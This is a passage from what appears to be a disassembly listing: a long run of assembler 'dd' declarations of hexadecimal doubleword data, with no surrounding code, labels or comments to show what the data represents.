		dd 0E7472D26h, 56510609h, 51CAD307h, 0F06A150Dh, 816AAF2h
		dd 0C2BC65ADh, 408EA84Bh, 8D13F9A2h, 17AC8EB6h,	0F235F84Bh
		dd 0A45D5B5Ch, 1E9CAF64h, 3B8FAB81h, 22A5719Dh,	9520957h
		dd 5EC2556Fh, 0FFB8445Fh, 14B3B678h, 0A8E96413h, 0B9E6C293h
		dd 80019DD0h, 0C499E7CCh, 0E1F83E9Ah, 2CF1F60Eh, 4F028C3h
		dd 0E9D15AD3h, 16069E83h, 7539C1DEh, 53A2DC83h,	51506680h
		dd 0C0BFCBB1h, 9A2BB536h, 0A277955Ah, 91ED213h,	19B6AA82h
		dd 0A7E2DA6Bh, 315E92C8h, 0C956D4BFh, 5A7DFC16h, 5E170BB1h
		dd 0C27DCAEEh, 45E469E9h, 9C5AAC72h, 56DE0BC1h,	2A38CF64h
		dd 30BF4F25h, 98B252A7h, 0CDC38002h, 646292E9h,	0BCC0EEFBh
		dd 0DD8809BAh, 68EA18F7h, 30384A81h, 0A2161837h, 15AF485Ch
		dd 9E4AB1B8h, 0FD906ECBh, 7F8B3710h, 0BA143103h, 0FA7C9A2Ch
		dd 0FF928B29h, 79DDEBEAh, 603900E7h, 0A6686D3Eh, 9C220359h
		dd 0FC7DF750h, 0C06BC44Bh, 770509D0h, 0E8450E2Fh, 9EDFFA63h
		dd 5724404Bh, 0CD56C068h, 635F2326h, 6E08B503h,	0A78C1D2Dh
		dd 8CCA62Ch, 0EF81E5F8h
		dd 1030154Ah, 277456BFh, 607C6CBAh, 1CD008A0h, 8DAE4B14h
		dd 14F22A0Bh, 0B203E983h, 5DE8B312h, 906DD6ABh,	4740C201h
		dd 0F6C5E970h, 4ECD8580h, 0F713BA69h, 3A45DD3Fh, 268CD6Fh
		dd 0A26AFBC1h, 0A09D5C31h, 49583B08h, 0B6E944ADh, 212330E7h
		dd 7E5BCBE2h, 38929ACh,	78B0D401h, 185C9C30h, 0B0F64E2Dh
		dd 56682FA0h, 7D0B8BF9h, 9B2F2B24h, 679000FFh, 0E97AF644h
		dd 0AB9F2478h, 13D459AAh, 0D398FAE8h, 0B8B30567h, 0A8C83122h
		dd 2F460076h, 8FE91DDBh, 544C00Dh, 0EF26FC0h, 565F2D09h
		dd 560F5D46h, 0A37C0794h, 70EFD011h, 0E908091Ch, 23254A48h
		dd 0EA2AD422h, 95A497ECh, 0AC65086Fh, 95AB3500h, 9E010D8Eh
		dd 0B56309ADh, 5A099259h, 6109F121h, 291195E9h,	0F7BC4BFCh
		dd 8F6EDD09h, 0E101687Eh, 3136D6D0h, 3CF2446Ah,	0E6540BDBh
		dd 86504CA2h, 0AD47FB13h, 0E9A374CBh, 2FF334D1h, 2B29EAh
		dd 0A62486C3h, 93E93816h, 4C285BA0h, 0B57900EBh, 0AEC43A54h
		dd 176F32E8h, 4BB4E605h, 0AEF4EAFBh, 220F75A4h,	0D84F90E8h
		dd 50005799h, 0D22F668h, 4FC9E962h, 4875EB25h, 0AEA816BFh
		dd 1746B831h, 6AD7F601h, 7F3E604Bh, 7FE40F0Fh, 0BE139585h
		dd 87FAFB17h, 0A933E669h, 17844D20h, 0E5781A68h, 0BD02EFC9h
		dd 0D10A3DC7h, 8660DF23h, 5A8103EFh, 6A4D17Fh, 9B288547h
		dd 1ABBB38h, 0B34426D5h, 0AF188320h, 52FBA54h, 9931E17Eh
		dd 6DC0147Eh, 0BF5F0840h, 9D62655Ch, 8260567Bh,	0C96C60BFh
		dd 1110ED5h, 0D164022Ah, 4D1DB578h, 4B268721h, 0FFE3A543h
		dd 17FAB288h, 3BEE62h, 0B108597Fh, 0DAB7312Bh, 6707401Bh
		dd 543A4001h, 4F3DE952h, 76C5F582h, 0D2E0E05Dh,	6109D4F5h
		dd 0DE896867h, 0C4C79D87h, 8440C50Dh, 0A0F1AAE9h, 65F3F400h
		dd 290E1A03h, 8011CFAh,	287E47E9h, 9BAFA595h, 830C1085h
		dd 6C8C0502h, 127D5A89h, 0EC3040C6h, 661A0451h,	9AD27E9h
		dd 0E1707758h, 55535A25h, 0DA8929A3h, 0D46DC0D5h, 5F402645h
		dd 0C8443B18h, 49685287h, 0E9449E31h, 2D7DB19Bh, 0A814CCEDh
		dd 31BF0B68h, 91042313h, 6BECA175h, 0D09759Eh, 0B1562174h
		dd 5EF6F90Ch, 42342C68h, 0B8B6624Eh, 758A2E41h,	60E0820Eh
		dd 0E61EF622h, 5FC0BFDAh, 27CCC7A9h, 0E4CFB859h, 0EC08D0F9h
		dd 1660032Ch, 7882F27Ah, 715F8A25h, 94A888A7h, 0FE096C2Ch
		dd 0B928B08h, 0D981075Ch, 482D5FA2h, 8864A789h,	199D4C20h
		dd 0D46AC183h, 93DFE2A0h, 0B64FDAACh, 8510100Fh, 0E23BA01h
		dd 0B868697Bh, 40A492Fh, 12C11F22h, 96F031F4h, 0AD5B1623h
		dd 6F67CAB8h, 8667CAA0h, 0FF8B89A7h, 0F7AD98C5h, 1101BB86h
		dd 26407B90h, 7E9E09BFh, 4DFE55AAh, 7B4A0304h, 0F8ED84EAh
		dd 255813C5h, 803EDCF5h, 286B23A7h, 61F08926h, 71C8C517h
		dd 21F34182h, 4C84C954h, 499058BBh, 13857B5Fh, 3B8329ABh
		dd 1B522F21h, 6D573C12h, 6AE90E9Fh, 4BFF4D5Ah, 964AD025h
		dd 5B38766Bh, 6A52E5EDh, 54A16EA0h, 4BABEACCh, 0B7652110h
		dd 8FBDFC39h, 46A01FC5h, 485060EBh, 27388717h, 0E2C18942h
		dd 0ED907505h, 0CE04370Ah, 5960E98Bh, 0BABB30FFh, 0ED2D678Ch
		dd 82FEDE4Ah, 0E9D13A9Dh, 81B8C0F7h, 0D2B01BF1h, 7BD00CA9h
		dd 1D986E13h, 588724C9h, 334A979Dh, 978E7C55h, 5E264707h
		dd 89A77250h, 0BD349CD5h, 0FEC9C079h, 1A336B4Ch, 0C5DDC39Ah
		dd 89E7A5DDh, 1FA372AFh, 5741EB81h, 348D045Ch, 881D128Dh
		dd 0C341F6D2h, 6416FCB9h, 853DC47Bh, 0D4D204FAh, 5EEF1656h
		dd 0C214499Eh, 688F987Dh, 9372B588h, 7119F330h,	2F4A50C6h
		dd 8857071Bh, 0E90508B7h, 0BA40F5Bh, 0AC24E7C2h, 0E318F870h
		dd 41715930h, 7F4641BBh, 6D1F7ED1h, 1830570Ch, 1E1905BDh
		dd 0AD3178ADh, 3E415594h, 4A05BCD8h, 117DCA08h,	0E14EC185h
		dd 0D8CA2F6Dh, 0A3C7257Bh, 711607FBh, 219B13EAh, 79A547Eh
		dd 5678C9D2h, 19776070h, 0F8957245h, 489E7564h,	0C23D44BEh
		dd 3A412189h, 37604A00h, 0F8974EBBh, 97C1EAA1h,	466F3976h
		dd 2715F59Ah, 0EB183958h, 0D39473FEh, 5340FCA6h, 974F3168h
		dd 6A1C49D3h, 1370E348h, 9243015Dh, 3F37A478h, 0F1038ACBh
		dd 5A935DCAh, 846A0C01h, 0CB89CF2Ah, 0BF4E632Dh, 88396FC8h
		dd 50605B54h, 0A7414580h, 1CC1FD73h, 0C3571C9Eh, 6FC76D4Fh
		dd 2254FDDAh, 28586604h, 0D1A4BFC7h, 0C602BDB9h, 0FAEBD737h
		dd 40F55A6Ah, 0D40DA5h,	6449050Ah, 0E0C13D08h, 0B5702DE8h
		dd 0D503E00h, 42EA6BA6h, 35630E05h, 0CF616FD6h,	290E6ADEh
		dd 28E51B63h, 0F83BB1ADh, 1E27381h, 821EC946h, 7212A60Ch
		dd 6BCF8150h, 0DB60D66Dh, 0BCD95E8Ah, 5AEA6E6h,	6CF122C7h
		dd 1D788229h, 5A28305Ch, 0D6C43E4Fh, 68CD02AFh,	0A90F2FF0h
		dd 99CED778h, 0D44B5A5Ah, 5E27076h, 0BD262CBFh,	79FCC23Eh
		dd 85038708h, 0DA1870CDh, 9D6A701Fh, 592614DDh,	0BB5B82C2h
		dd 9C5C3A7Ch, 6542FA0h,	5A20065Bh, 12073AE9h, 0F8885809h
		dd 9FDAD75Bh, 7712BE77h, 5AF9238Dh, 9F0AE04Eh, 11EC1C5Fh
		dd 131205B0h, 5E30F627h, 5F07205Eh, 612EC95Bh, 4B592220h
		dd 643D44AAh, 76C2F8D2h, 0FB4E6735h, 7D673F87h,	1EB843E0h
		dd 16A4FC89h, 9DAC9DE9h, 0A6D96F3Ah, 0C9C6E9F1h, 0BD330526h
		dd 0D88C0D92h, 4C7F7C74h, 6EA172Ah, 15C6C901h, 4FF734B0h
		dd 3B42A1F0h, 6C21D8h, 5459011h, 1F0D2132h, 2DD02914h
		dd 0B594907h, 0D75DB568h, 0FE8AC2B9h, 19B65200h, 0C3C64BFEh
		dd 0EE820143h, 209F802Eh, 0E865AF5h, 30D0F6C5h,	8E89A9Ch
		dd 0CC857E77h, 0E927CE4Ah, 0E2894880h, 2F5E1842h, 5B6DD01Fh
		dd 182BCF30h, 404A1E97h, 3C17E16Fh, 0D0802578h,	27529336h
		dd 0CF20F9E9h, 0EF1559CAh, 0E8E5652h, 0CF7AB4C2h, 3A42FE18h
		dd 0C8FC8D58h, 9DFD68FDh, 0FB08E85Bh, 0F581051Eh, 99B09B0h
		dd 75A7AC00h, 13F17D4h,	8A072EEh, 2095295Dh, 6E5913F1h
		dd 636812E9h, 5E63A34Eh, 5E41CDB5h, 6369109Dh, 917A9817h
		dd 12A0F6Fh, 9871F187h,	0A74C08B3h, 9203DB7Ah, 536CB056h
		dd 3E0DE152h, 3C9C4AF5h, 82542F97h, 0FB2E5C59h,	86E9E638h
		dd 3C081634h, 84388BABh, 0EB1701F7h, 0D92CC212h, 0BE81DC1h
		dd 74680731h, 59F70922h, 1668E193h, 2FEE234Bh, 0A5714F54h
		dd 95E92601h, 92C97C31h, 35FDF401h, 0B144222Ch,	0EAD953FAh
		dd 327DACB3h, 0EAEB7D35h, 863B6ADFh, 3B30E6BAh,	2C93D0B7h
		dd 493E5FCDh, 81D6769Fh, 5F2F7862h, 8F89F01Ch, 0A566D01h
		dd 0AAFECBD8h, 32649483h, 0D3E3B03Fh, 289C0535h, 914B55E9h
		dd 582765A5h, 0D1975F82h, 0A8BF657Ch, 0C2F14A26h, 0B8A6C17Bh
		dd 98E0049Dh, 0FECE25B2h, 0D28C91F3h, 5FA06963h, 5CDE337Ah
		dd 0C0E91109h, 0BDC6DDCEh, 80825454h, 0A7BAF63Ch, 0D7158979h
		dd 0C7E6AF50h, 0E919E5ACh, 2834D4F1h, 1C22B9D3h, 85DCF83Bh
		dd 9FD5E76Ah, 0C69C278Dh, 52339DCBh, 271EB359h,	509B745Eh
		dd 0D643568h, 428957B1h, 0B53D10D8h, 18FC2844h,	8009E04Ah
		dd 0A38E24D6h, 0C4D2F705h, 59B0DCDh, 53AA8048h,	0EB801DB3h
		dd 0A5409DEFh, 0E934AD34h, 0EC527956h, 11CB8AABh, 0B96A70BBh
		dd 0F1652F53h, 532FAAA2h, 0E07F54BBh, 675B2D6Bh, 0AA8114F1h
		dd 8405882h, 4A3A500Eh,	7699BE25h, 85100C06h, 0E52C201Ch
		dd 13D8ADA6h, 0A89E81CCh, 9A840409h, 92BB26D2h,	4C709C8h
		dd 0BF027044h, 62E06763h
		dd 0FB7BE781h, 803F8C27h, 66C087Dh, 21D89D29h, 0E456C34Ah
		dd 0FA422E19h, 7502B900h, 0C168261Eh, 420906DDh, 0FFB79959h
		dd 40873724h, 68125CCBh, 0EC46B6h, 565321C5h, 0B950419h
		dd 4F0EE32Ah, 1B49D25Fh, 0D3522513h, 5ED140C4h,	22062D91h
		dd 51221727h, 11328EFFh, 0C288FB16h, 1FD64907h,	668C305h
		dd 880F9814h, 0AFD3634Fh, 5CCB82F0h, 0FAFE1797h, 0B30DE704h
		dd 5C96510Bh, 1E08BF04h, 91AA49E5h, 46D78B4h, 94FE36C5h
		dd 8FCEAB77h, 0D2EEAD5Ah, 0EA6ED4ABh, 0C552EF63h, 1C57E0C8h
		dd 2D4D3368h, 0A43FB475h, 57B520F9h, 0B0840F0Ah, 5F2782E5h
		dd 5E9DF546h, 33F05A03h, 0C77EAC06h, 2C90BA0Bh,	2BCF438h
		dd 4F94010Eh, 8A09AD6h,	16CE5949h, 681AE955h, 84B1896Ah
		dd 81346218h, 2E135CF4h, 3ED939EEh, 5A415654h, 0B38440FCh
		dd 5F29099Ah, 6EFB1629h, 0B2C4628h, 0C7793657h,	512AE908h
		dd 0C3B0E7D3h, 0CF6E7503h, 4B79B92Dh, 0AA6BC40Bh, 348779C1h
		dd 8DDFA26Bh, 0E46B0E8Bh, 0F160C4C2h, 7690F3CDh, 0BC7560D0h
		dd 8A22A906h, 50C8E925h, 76ECBF47h, 5BF93017h, 8458990Bh
		dd 0A01949BBh, 0F0FB04DCh, 90CC5318h, 0EEE6152Dh, 0C3494C29h
		dd 0A14201D2h, 0E5799F0Bh, 706820DDh, 496F5F81h, 0FE76EA35h
		dd 524B7427h, 240F72FDh, 2510C86Ah, 2F564E5Eh, 2A521CE9h
		dd 0F3964490h, 35B1002Fh, 1194434h, 0A5BA523Eh,	2A30147Dh
		dd 0ACEC71C3h, 74180113h, 7B78DD5Eh, 0E353F12Ch, 8329C395h
		dd 46ED8101h, 2A14937Bh, 0FC85AEACh, 10E5A33Fh,	5D3FF446h
		dd 8D3EE178h, 0B8012B92h, 6AAF7098h, 0A0969770h, 79BEF06h
		dd 162B74Fh, 16C7E5CFh,	3FEAC908h, 0EC961DB6h, 0C7C6C467h
		dd 0C01A114h, 89448D7Ah, 12627ACFh, 5925E867h, 0D35E31h
		dd 1941176Bh, 90C14F69h, 0B1EEFB11h, 7CB0CF3Bh,	8E63F6A0h
		dd 0E38C5D82h, 3912CD38h, 0ED2C5A09h, 15D80EBEh, 90364E61h
		dd 81825DEh, 0CC577A24h, 172F3008h, 7E2CEE5Ch, 16279AD0h
		dd 0EBDE874Bh, 58F5A441h, 0C827F6Ch, 178D3863h,	0D4B780F7h
		dd 0C1693D79h, 3531D01Ah, 60722C20h, 48266EEEh,	3B80BF0Ch
		dd 44F8C181h, 0A8B52D72h, 0C3408D1h, 92FB1714h,	0ABBFC04h
		dd 0C27DF2AAh, 48774B68h, 9F525E26h, 7242907Bh,	0BD20465Bh
		dd 7B0B6C91h, 5E327944h, 18C4413h, 2CA2E4C5h, 759F7B7Dh
		dd 0ABBAF114h, 45A89855h, 0CB0AE85h, 399D162Dh,	0E96DB046h
		dd 0FEE1BD16h, 43E8BCDh, 9640E1h, 0B151D8F6h, 0C9801FD0h
		dd 72C74BD7h, 3872B677h, 0FEA7DBE9h, 0D216EAF3h, 756547ABh
		dd 29DBFBC6h, 89A4E626h, 5C664201h, 7FE62905h, 0A53B9B59h
		dd 0B8D5C023h, 0C370091h, 32D351Ch, 0E0BF2C19h,	4B38E9A8h
		dd 93CFA84Dh, 178B9838h, 0C052455Dh, 6B5A59FFh,	4911DF86h
		dd 46E80F7Bh, 41272492h, 0B496D520h, 60116A02h,	5795D5E9h
		dd 67130EF2h, 0CA002771h, 22604282h, 9FE9701h, 0B7495569h
		dd 19E72AF4h, 102D257Bh, 0C0B725Bh, 0B73A7D5Bh,	16B0B67Fh
		dd 0BBFEF7DCh, 0EB7CFB28h, 0FC019155h, 3D776851h, 52068163h
		dd 0CD4AE7E9h, 920CC102h, 0E0213BEBh, 0C34741E4h, 7B37C21Bh
		dd 164142E2h, 0E016048Eh, 0E9FD2B33h, 8680E4A5h, 0B83CF81h
		dd 0FDB81651h, 0CC77EF07h, 467C13Eh, 32461EFFh,	90C0C6Fh
		dd 0F3B6CEC6h, 5AB0CE2Ah, 3E8D1641h, 0C4BBCCD5h, 0A92ED931h
		dd 0E904690Dh, 0B2BE7CCFh, 3499F25h, 9D661662h,	85367794h
		dd 978C433Dh, 7F6EB27Fh, 0F6A5A0F9h, 8D4BE2DFh,	1070B8DDh
		dd 7FCD9D70h, 0E81FE909h, 12C5F2EDh, 0A86C0346h, 0F7067980h
		dd 4B2E4D31h, 0B8CF9882h, 4B5C7EC4h, 51C5FAEBh,	0A2AA9E12h
		dd 5F3FCB0Bh, 59D71A09h, 0BA5D4993h, 93808035h,	0A072134Ch
		dd 981AF0EFh, 89455849h, 0A30BC50Eh, 940AFF92h,	466CFE68h
		dd 0F2D8B758h, 2D7D0586h, 23657E02h, 7D573AE9h,	7CECDC71h
		dd 334B00D8h, 4FE70D4Dh, 0E9272D60h, 5B5F8458h,	521F0D8Bh
		dd 0B35301B2h, 0D8DA0873h, 200EAC0h, 0B450D2F6h, 2C480A0h
		dd 58E228DEh, 1D5FD388h, 0F38080D6h, 0E065E97Ch, 4BBC79B7h
		dd 64B5A144h, 0FE554BBDh, 0EB82A274h, 569169EFh, 0B1A22247h
		dd 0D993E9E4h, 0D4CE8661h, 5374E9E8h, 20DD62Fh,	87529F96h
		dd 94EB7A61h, 599AD4Ch,	1D6135DCh, 0D0F787D0h, 57810005h
		dd 0BE561540h, 0D42C3B79h, 1A07916Dh, 449D0369h, 0BD92017Ah
		dd 20603BF8h, 829AF5B1h, 0B4447FFBh, 290465E1h,	2399FED3h
		dd 0E9C5CC79h, 326AC05h, 7A3CF0BFh, 0A8AAD12Ah,	9FAD6B34h
		dd 389E4168h, 83D3CF1h,	0BFEDD81h, 42505EF0h, 4AC7BD22h
		dd 1B87AEC5h, 3A99D7E9h, 8B913C66h, 50A7892h, 8516D5BBh
		dd 40E2E131h, 2EA6758Dh, 0C8B1895Bh, 8F59E2D2h,	0EC39656Ah
		dd 0CAEBCB06h, 96E35081h, 154D10FAh, 1C187D51h,	2D0C52D5h
		dd 1F913E7Eh, 490CF61Ch, 9CFD1011h, 0FE92D43h, 5C5F74D8h
		dd 0FB1334BFh, 0D14974CBh, 0B7F20212h, 0C85C274Ah, 9F10CFAFh
		dd 34BFB8E4h, 0E6A4202Ch, 5197C0BDh, 0B2DC27D1h, 622567D4h
		dd 50F20461h, 0DE5917A0h, 0F0D44997h, 5D7266DCh, 19A63A47h
		dd 3716A216h, 400CCBFAh, 31B55E8Dh, 2442021Eh, 29F65DEBh
		dd 0CAF48325h, 5D4A2DD5h, 16A3B42Ah, 784CF265h,	22E8E527h
		dd 7D0B63BFh, 0D5AFD07Bh, 0E2E96530h, 2000FE94h, 0F5805BDDh
		dd 4EEBE618h, 59A197C4h, 0FB25BD8Fh, 9EFCA9FEh,	860847A9h
		dd 0C6290B71h, 3B283218h, 0BD6A7D82h, 4B2CF2F5h, 5B2703B5h
		dd 0C185912Ch, 0C912BBh, 3D5AD520h, 7816DDF6h, 0A18FECF4h
		dd 743A69D8h, 0D6B7E8BBh, 0A0704BA1h, 5802EDBBh, 0E7D10DC0h
		dd 0D36CABB8h, 9FC2E26Ah, 8B3547CCh, 16BE1CF1h,	0EA6DA406h
		dd 0A7CDDE5Eh, 17F3AC6Eh, 7E326A41h, 2436056h, 7EEE163Ch
		dd 36464B4Fh, 0E05FC8C2h, 801FC2B7h, 1A24EEBBh,	0E3000C64h
		dd 506758CEh, 0ECEB60D1h, 6012155h, 8FB6C097h, 0E7008232h
		dd 3ECE349Ah, 0D0ECABDh, 0EE3A9B08h, 0C358DB59h, 51C5E82Fh
		dd 6E2EF938h, 5CC0055Dh, 29BF88D5h, 796CBDEh, 3388A9F1h
		dd 77D8270Eh, 6C752D00h, 0C529E55Fh, 0E95B1658h, 5AFDB82Fh
		dd 2F68A08Ch, 355C25A2h, 2DEE5763h, 8AFFEF73h, 1D044405h
		dd 2AF1F4Ah, 0FEF001BBh, 5C7691F7h, 5E072C6Ch, 921C6F09h
		dd 0D9D5CC37h, 815C666Fh, 39E3BB0Ah, 0BE84A7F0h, 0C0EEC678h
		dd 0C72E7249h, 67A3EA50h, 78C58080h, 0F82924A7h, 7C29203h
		dd 0B313C47Ch, 2719F5A6h, 7106AFC3h, 0BE3C22ECh, 5F48E26h
		dd 4D9CAE17h, 0FB3C4A46h, 21912464h, 0D7EE8168h, 0E527606Ch
		dd 0CA931B26h, 138D71D8h, 68DF2030h, 8B9FEC0h, 64EA843Bh
		dd 99D94725h, 12C4B06Fh, 0E13B3B41h, 0EEF02E77h, 40729D5Bh
		dd 9112ED07h, 21DD2179h, 419C2530h, 0B7C403F0h,	0E49DBFF5h
		dd 0C2C1BC2Eh, 0F93861E9h, 4855E980h, 9714E9E4h, 19F5BE20h
		dd 2F134C5Ah, 3BB8EE21h, 581BB506h, 0F1069604h,	2948B787h
		dd 3057B1Eh, 0E911B269h, 0FA4EF9FBh, 31E4EB4Fh,	4F0EF103h
		dd 0E1B02515h, 0E82D3CB5h, 7FD7C02Fh, 2A9F3114h, 284F10Eh
		dd 0DAE74A2Bh, 0F52616F1h, 0A288AEFEh, 301F5AA3h, 0BE27DA79h
		dd 0DEE9120Ch, 0A02176AAh, 0B7D31DD2h, 77E9DB71h, 505B89C4h
		dd 2A7569BEh, 2D212BBAh, 0EA0EC00Ch, 0C320B7E2h, 5EC219F8h
		dd 13216B80h, 12470BECh, 6D90FE6Bh, 483331FBh, 6000BA2Fh
		dd 0E94F0F57h, 8E9AC190h
		dd 7D5DE825h, 144EF494h, 7F8F8CFAh, 89317459h, 57BBC15Eh
		dd 402E2B2Eh, 2A13EBC6h, 82122BC4h, 0E05B940h, 0BD5A2667h
		dd 781C1F0h, 29EB2B5Fh,	0F26004Ch, 0C0B5C8AFh, 0DDBEE0B0h
		dd 0F568C04Ah, 59226F45h, 2B6009Fh, 4B2103E8h, 4F20C0F1h
		dd 3E165769h, 2EC9DE9h,	0D428BA4Fh, 0C26C96B9h,	5E07D4FFh
		dd 24D509EEh, 0FFEC2C3Ah, 0A30EC093h, 0D60415Eh, 4F0B91B2h
		dd 6F30E52Dh, 37043F14h, 253B0924h, 0A962E810h,	0E93E6AFAh
		dd 0DBFEA72Bh, 73BB88EDh, 62BA5200h, 3141A1Bh, 3F9BE281h
		dd 0EAB04E75h, 0A276CD7h, 189E7836h, 0C271817h,	14EA4CF0h
		dd 5B56E8BDh, 2C52D0Ah,	27B98E76h, 124367D0h, 0D7D6EB56h
		dd 5FB6077Ah, 0C4420306h, 0B8E1E081h, 9EBA40Bh,	3A065401h
		dd 18BCDA2Eh, 61BEC6C5h, 34856B1Eh, 6829FC89h, 2F26D2D3h
		dd 430B3AB7h, 0F3255544h, 0C6C550Ch, 0C6255BB0h, 0BFFA73FEh
		dd 5C65E2B0h, 3A7A4534h, 0E9F03120h, 0EF02FF2Ch, 0D57B160Ch
		dd 565FEA60h, 6A7DFFA2h, 977C70F9h, 2D4FBEF0h, 6B5809BDh
		dd 0D121A727h, 7ADE01C3h, 310E1EB8h, 4D758C1h, 0A05692h
		dd 0FC9E3D2Dh, 5101674Bh, 1907F7D6h, 366147Fh, 7A5A80CDh
		dd 0E5E84566h, 48324E9Ah, 2B32FA6Bh, 6D69BBC0h,	0FC9E967Eh
		dd 0D2827569h, 929A02A5h, 44713A7Dh, 7275FB4h, 74CD8921h
		dd 0E0C9E11Bh, 0CDFF3C77h, 6CFD6FB5h, 8B2080A5h, 65D185Eh
		dd 8A27228h, 0AEC2357h,	745768Eh, 72192D65h, 0B558C253h
		dd 0BB6053FEh, 4F9D448Eh, 2CFEA926h, 0A1082BC8h, 0E2D00072h
		dd 0FE96CA80h, 0DCF2D4E7h, 0D54B09FEh, 0B9D2EED1h, 585C8B07h
		dd 4FAB30Bh, 5609FB39h,	525A0744h, 2D33C2Ch, 68751955h
		dd 0CAC46BDBh, 955ACF40h, 0D1A72AE7h, 1C876229h, 7CBA102h
		dd 0BC43655Dh, 13680CF7h, 40D45F30h, 0C109BAEDh, 0D5624945h
		dd 84F2B520h, 46C4A2E0h, 0E0C84BE5h, 22260BD1h,	0C0564F0Ch
		dd 0D58AB6C8h, 608761Eh, 0FEF71E93h, 565002ADh,	0CB88769Dh
		dd 3A2226C1h, 0DBAACA17h, 0AFA24B4Bh, 0F431BB5Bh, 0D6423A6h
		dd 0BC5E5EF2h, 20E9F0F7h, 0FE29CE7Dh, 0A1F3F8E6h, 5F91D665h
		dd 0DE040EE8h, 0AE8925EAh, 0E912BEADh, 0E05AFF70h, 0F006F4B2h
		dd 85BD83E9h, 5C523334h, 5304C1BAh, 9B346A07h, 2543BCBFh
		dd 257BE55Dh, 11A32DDh,	722F9EC1h, 980CE470h, 145D9F38h
		dd 0EF96FC4Ch, 2D444FAh, 0CD023FBFh, 0EA5F2D5Ch, 54CDC28Ch
		dd 0C1450442h, 208FFCEDh, 2959067Fh, 6808247Ch,	0FBD1A74Bh
		dd 5AE417EBh, 4C6E803Bh, 8368762Eh, 262EA207h, 61DD0122h
		dd 0D7CCC1C2h, 0A04A5B61h, 0C7C0FF8h, 13123740h, 478A370h
		dd 9079E9EDh, 344DBA4Ch, 24C14A7Ch, 2E457571h, 0DB05AA2Fh
		dd 0E3C276C2h, 0B2237F29h, 13A9FB2Bh, 7EE90089h, 0E3FF4A56h
		dd 87BF127Dh, 0BE68F130h, 0A594B118h, 0B77E4C57h, 0AFA27CC7h
		dd 0C2FE719Dh, 2949F854h, 0AB4DCFBh, 0E31E42B1h, 66375A8Fh
		dd 6F24911Ch, 0D028A654h, 2E9D0C31h, 0B9B2BB00h, 7C923325h
		dd 7BAD3E04h, 6BC4E462h, 43B4501Fh, 19517A0Ch, 0D7F7C901h
		dd 6E974370h, 2F7190D7h, 7820B9AFh, 199F41B7h, 0C9D8F72Eh
		dd 0D450E010h, 551669C3h, 9E9E68E6h, 0ADBC7F25h, 75623295h
		dd 985A15F4h, 2A685681h, 549E1EC6h, 12B98CFFh, 0BF1D2CF3h
		dd 8FB83C17h, 6342A004h, 4829C739h, 0BA449A3Ah,	0F5ED8BEAh
		dd 0CD74C02Fh, 8E70A845h, 0C4A65E68h, 67A7EA5Fh, 17A03396h
		dd 8F845B4Ah, 52FA5194h, 0B0A1EE99h, 693EEA00h,	421138DDh
		dd 797951DCh, 29A01027h, 0E3C510D6h, 0D517EF4Fh, 0C03C6FEh
		dd 250FF6BFh, 0D8FF1162h, 52E91B1Fh, 70253597h,	0D236DAEEh
		dd 942E90Ch, 0FFECFBE9h, 0CADF3B98h, 3323909Fh,	17C0300Bh
		dd 1075310Ch, 0A3B85D00h, 1F44C15h, 9EE298F0h, 14FD250Ah
		dd 8392C279h, 0DEC1E517h, 79F540DDh, 6AB71AE8h,	50496160h
		dd 0B185EC2Ah, 933B5AD0h, 66BE7AF1h, 0A1F48013h, 5B1AD7F8h
		dd 0B57E3B9h, 79AC555Ch, 6A13AD0Ch, 60AE71E3h, 3BE2685Fh
		dd 2DD1C2E1h, 464FC340h, 0A03541FBh, 0E9980844h, 0D727B894h
		dd 798B6747h, 0C5B91B63h, 62AEF1AAh, 65BB1716h,	0F92A09C9h
		dd 3A2DE0DCh, 7422274Dh, 7200F5Ch, 6CE939C4h, 0C0007FB8h
		dd 0F58008E5h, 0EA4A88F7h, 0B4306128h, 41941320h, 0A81BD185h
		dd 0BF6FE849h, 0DFF7FE4Ah, 109B5E3Eh, 52B81AFDh, 0D8B5DE88h
		dd 5EF1B5D7h, 5825FE48h, 6059B529h, 4AD76878h, 25D6E337h
		dd 226D7253h, 8AD34E78h, 0AAFD4817h, 174C984Ch,	978A910h
		dd 0C1E1850Fh, 28355237h, 6A963080h, 0EFC163F2h, 2060860h
		dd 180DF781h, 0C359A24h, 8250D893h, 6CB7FDF2h, 0D9E91294h
		dd 0B80A9D84h, 0C2488158h, 0C6E9517Dh, 0DE3B2B29h, 69603FAFh
		dd 8009C328h, 450C8EBh,	0F5FB0F17h, 82F171F9h, 2170BB48h
		dd 6AB2D859h, 2ED00FBEh, 86C56872h, 6BD985E9h, 275E8CA8h
		dd 0AD78A83Eh, 0F6688909h, 681274DEh, 98C6631h,	9B631C88h
		dd 98C400Dh, 0E8C11E6Bh, 5D350509h, 0E9FB82DBh,	284A7EDEh
		dd 0B55E50F4h, 31A20FBDh, 47EE222Fh, 59053B3h, 89140D09h
		dd 0F4E97FE5h, 0ACC13C2Ch, 0E955D040h, 654D4327h, 250720A6h
		dd 3F591868h, 0E9545082h, 1DED7C99h, 980497C1h,	8025716h
		dd 0C7687C9Dh, 11DAF1Fh, 594020Ah, 909B758h, 37A4E9FDh
		dd 183C39D1h, 0E061D70Ah, 65B2B506h, 175780E0h,	0BB3A5F81h
		dd 2E10A566h, 899326E9h, 9F80D0F7h, 3C144C9Fh, 5302DEF0h
		dd 157408BBh, 4F63D86Eh, 3919A1FFh, 0EAE9B38Dh,	4F18548Ch
		dd 0EE980F04h, 0EC5AFD8Eh, 8EF910D8h, 0F8EB6812h, 0FE88C169h
		dd 0F4D15051h, 16E6F120h, 0E3A7F1E9h, 23284AE7h, 6459D54h
		dd 8AC7E905h, 4111FC27h, 0F93B3CD9h, 0E4EF9267h, 715EE9F2h
		dd 6BC20DC4h, 0BDD6F872h, 7C7714CEh, 0F602B79Ah, 5D715474h
		dd 58E47546h, 0F4EA38A0h, 0EFFFF697h, 0F9340E85h, 0C6AC5FEAh
		dd 298A0F04h, 0DC86EF41h, 5784203Ch, 44EE3F2h, 87067FFDh
		dd 0C460140h, 0C312DE09h, 44047F39h, 0C2E49289h, 1FCD4840h
		dd 922DA593h, 6804B9ADh, 8C2E70FDh, 0E3209223h,	3E4EA1FEh
		dd 0BE6DD43Bh, 5350F481h, 0C942EFD1h, 92CE88FEh, 5F3D210Ch
		dd 0F52B0FBh, 4E973EB2h, 1A8814A6h, 7CC4748h, 75226F2Ah
		dd 0B507C2h, 34DC281h, 0C693130h, 5B1F784Bh, 632E501h
		dd 14810C08h, 31BA2B5Bh, 0C2239175h, 58A951FDh,	0D395CC74h
		dd 13F7193Bh, 4CDFFE29h, 7CCD4CBCh, 3F92F04Eh, 1C1F7019h
